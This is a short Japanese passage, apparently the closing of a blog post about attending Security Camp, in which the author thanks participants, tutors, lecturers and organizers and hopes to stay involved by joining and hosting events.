さらに、参加者、チューター、講師、運営の様々な方と知り合えたこのご縁を無駄にすることなく、今後もイベントに参加する、イベントを主催する、ことなどを通してイキリストの輪(元ネタ:A班グループワーク発表)を広げたいと思います。
セキュリティキャンプに関わってくださった全ての方に感謝して、自分なりにこの恩を少しずつ返していきたいと思います。
ありがとうございました。